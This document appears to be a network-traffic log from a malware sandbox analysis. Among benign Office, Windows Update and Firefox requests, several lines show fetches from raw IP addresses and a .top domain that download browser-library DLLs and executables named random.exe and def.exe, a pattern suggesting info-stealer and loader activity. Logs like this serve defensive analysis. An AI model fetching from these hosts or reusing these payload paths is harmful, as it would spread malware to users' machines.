Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5seAewdXZuwZolF&MD=19Dvc46m HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
